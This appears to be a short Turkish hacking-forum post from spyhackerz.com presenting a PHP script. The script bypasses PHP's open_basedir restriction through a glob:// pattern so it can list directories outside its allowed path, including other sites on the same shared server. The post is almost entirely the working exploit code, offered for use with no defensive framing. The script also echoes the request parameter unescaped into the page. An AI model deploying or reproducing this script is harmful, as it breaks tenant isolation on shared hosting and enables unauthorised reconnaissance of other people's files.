Dizin listeliyici bir php script , attığınız dizindeki dosyaları listeler yada istediğiniz aynı sunucudaki bir sitenin dizinindeki dosyaları listelemeye çalışır.
PHP:
<?
#open_basedir restriction bypass (directory listing) via glob pattern by BECHED <spyhackerz.com>. Tested on ubuntu (php 5.3.2), freebsd (php 5.3.8)
$path = $_REQUEST[ 'dir' ]; //path with the slash at the end
echo "<form method=get>List directory: <input type=text name=dir value='$path'><input type=submit value=ok></form><hr>";
$it = new DirectoryIterator("glob://$path*");
foreach($it as $f) {
echo '<a href=\'?dir=' . addslashes( $f -> getPathname() ) . '/\'>' . $f -> getPathname() . '</a><br>';
}
echo '<hr><tt><a href=http://www.spyhackerz.com>spyhackerz</a></tt>';
?>